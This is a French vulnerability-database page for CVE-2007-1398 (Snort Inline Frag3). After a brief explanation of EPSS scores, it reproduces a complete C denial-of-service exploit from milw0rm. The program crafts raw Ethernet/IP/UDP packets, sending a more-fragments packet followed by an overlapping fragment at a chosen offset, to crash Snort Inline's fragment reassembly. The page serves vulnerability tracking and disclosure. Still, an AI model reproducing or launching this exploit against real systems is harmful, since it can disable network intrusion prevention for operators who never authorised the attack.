CVE-2007-1398 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/********************************************************* * DOS Snort Inline * Affected Versions: 2.6.1.1, 2.6.1.2, 2.7.0(beta) * Requirements : Frag3 Enabled, Inline, Linux, ip_conntrack disabled * Antimatt3r * antimatter@gmail.com * Offset needs to be supplied that would cause reassembly for different snort * fragmentation reassembly policies. Since the first packet is hardcoded 70-74 offset * will trigger the segfault. ********************************************************/ #include <stdio.h> #include <errno.h> #include <string.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <net/if.h> #include <net/ethernet.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/ioctl.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netinet/udp.h> #include <netinet/ip.h> #include <netinet/if_ether.h> #include <netpacket/packet.h> #define NOOP_FRAG_SLED 576 #define NOOP_SHORT 16 struct addr { uint32_t ip; char mac[ETH_ALEN]; }; struct dev { uint32_t index; char name[IFNAMSIZ]; }; int mac_aton(char *, char *); void usage(char *cmd) { fprintf(stderr, "usage: %s <device> <source_ip> <src_mac> <dst_ip> <dst_mac> <offset>\n", cmd); } int mac_aton(char *amac, char *nmac) { char c; int i; unsigned int val; i = 0; while ((*amac != '\0') && (i < ETH_ALEN)) { val = 0; c = *amac++; if (c >= '0' && c <= '9') { val = c - '0'; } else if (c >= 'a' && c <= 'f') { val = c - 'a' + 10; } else if (c >= 'A' && c <= 'F') { val = c - 'A' + 10; } else { errno = EINVAL; return -1; } val <<= 4; c = *amac; if (c >= '0' && c <= '9') { val |= c - '0'; } else if (c >= 'a' && c <= 'f') { val |= c - 'a' + 10; } else if (c >= 'A' && c <= 'F') { val |= c - 'A' + 10; } else if (c == ':' || c == '\0') { val >>= 4; } else { errno = EINVAL; return -1; } if (c != 0) { amac++; } *nmac++ = val & 0xff; i++; /* We might get a semicolon here - not required. */ if (*amac == ':') { amac++; } } return 0; } int in_cksum(u_short *addr, int len) { int nleft = len; u_short *w = addr; int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return answer; } int send_morefrag_packet(int sock, struct dev *dev, struct addr *src, struct addr *dst) { struct sockaddr_ll sll; struct ether_header *eth; struct iphdr *ip; struct udphdr *udp; u_char *payload; char buf[sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct udphdr)+ NOOP_FRAG_SLED]; memset(&sll, 0, sizeof(sll)); sll.sll_family = PF_PACKET; sll.sll_ifindex = dev->index; sll.sll_halen = ETH_ALEN; memcpy(&sll.sll_addr, dst->mac, ETH_ALEN); memset(buf, 0, sizeof(buf)); eth = (struct ether_header *)buf; ip = (struct iphdr *)((char *)eth + sizeof(struct ether_header)); udp = (struct udphdr *)((char *)ip + sizeof(struct iphdr)); payload = (u_char *)((char *)udp + sizeof(struct udphdr)); memset(payload,'\x90',NOOP_FRAG_SLED); udp->source = htons(1111); udp->dest = htons(1111); udp->len = htons(sizeof(struct udphdr) + NOOP_FRAG_SLED) ; udp->check =0; ip->version = 4; ip->ihl = 5; ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + NOOP_FRAG_SLED); ip->id = 31337; ip->ttl = 64; ip->frag_off = htons(0x2000); ip->protocol = IPPROTO_UDP; ip->saddr = src->ip; ip->daddr = dst->ip; ip->check = in_cksum((u_short *)ip, sizeof(struct iphdr)); memcpy(eth->ether_shost, src->mac, ETH_ALEN); memcpy(eth->ether_dhost, dst->mac, ETH_ALEN); eth->ether_type = htons(ETH_P_IP); if(sendto(sock, buf, sizeof(buf), 0, (struct sockaddr *)&sll, sizeof(sll)) == -1) printf ("error %d %s\n",errno,strerror(errno)); else printf("MF Packet Sent\n"); } int send_overlap_packet(int sock, struct dev *dev, struct addr *src, struct addr *dst,int offset) { struct sockaddr_ll sll; struct ether_header *eth; struct iphdr *ip; struct udphdr *udp; u_char *payload; char buf[sizeof(struct ether_header) + sizeof(struct iphdr) + sizeof(struct udphdr)+ NOOP_SHORT ]; memset(&sll, 0, sizeof(sll)); sll.sll_family = PF_PACKET; sll.sll_ifindex = dev->index; sll.sll_halen = ETH_ALEN; memcpy(&sll.sll_addr, dst->mac, ETH_ALEN); memset(buf, 0, sizeof(buf)); eth = (struct ether_header *)buf; ip = (struct iphdr *)((char *)eth + sizeof(struct ether_header)); udp = (struct udphdr *)((char *)ip + sizeof(struct iphdr)); payload = (u_char *)((char *)udp + sizeof(struct udphdr)); memset(payload,'\x90',NOOP_SHORT); udp->source = htons(1111); udp->dest = htons(1111); udp->len = htons(sizeof(struct udphdr) + NOOP_SHORT) ; udp->check =0; ip->version = 4; ip->ihl = 5; ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + NOOP_SHORT); ip->id = 31337; ip->frag_off = ntohs(offset); ip->ttl = 64; ip->protocol = IPPROTO_UDP; ip->saddr = src->ip; ip->daddr = dst->ip; ip->check = in_cksum((u_short *)ip, sizeof(struct iphdr)); memcpy(eth->ether_shost, src->mac, ETH_ALEN); memcpy(eth->ether_dhost, dst->mac, ETH_ALEN); eth->ether_type = htons(ETH_P_IP); if(sendto(sock, buf, sizeof(buf), 0, (struct sockaddr *)&sll, sizeof(sll)) == -1) printf ("error %d %s\n",errno,strerror(errno)); else printf("2nd Packet Sent\n"); } int main(int argc, char *argv[]) { int sock = 0; struct dev dev; struct addr src, dst; int offset; //play with varying offsets if (argc < 7) { usage(argv[0]); return -1; } memset(&dev, 0, sizeof(dev)); strncpy(dev.name, argv[1], IFNAMSIZ-1); if((dev.index = if_nametoindex(dev.name)) == 0) { perror(argv[1]); exit(-1); } memset(&src, 0, sizeof(src)); if (inet_aton(argv[2], (struct in_addr *)&src.ip) == 0) { fprintf(stderr, "%s: invalid src ip address\n", argv[2]); exit(-1); } if (mac_aton(argv[3], src.mac) < 0) { fprintf(stderr, "%s: invalid src hardware address\r\n", argv[3]); exit(-1); } memset(&dst, 0, sizeof(dst)); if (inet_aton(argv[4], (struct in_addr *)&dst.ip) == 0) { fprintf(stderr, "%s: invalid ip address\r\n", argv[2]); exit(-1); } if (mac_aton(argv[5], dst.mac) < 0) { fprintf(stderr, "%s: invalid hardware address\r\n", argv[3]); exit(-1); } offset = atoi(argv[6]); if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0) { perror("socket"); exit(-1); } if (send_morefrag_packet(sock, &dev, &src, &dst) < 0) { perror("send error "); exit(-1); } if (send_overlap_packet(sock, &dev, &src, &dst,offset) < 0) { perror("send error"); exit(-1); } close(sock); return 0; } // milw0rm.com [2007-03-08]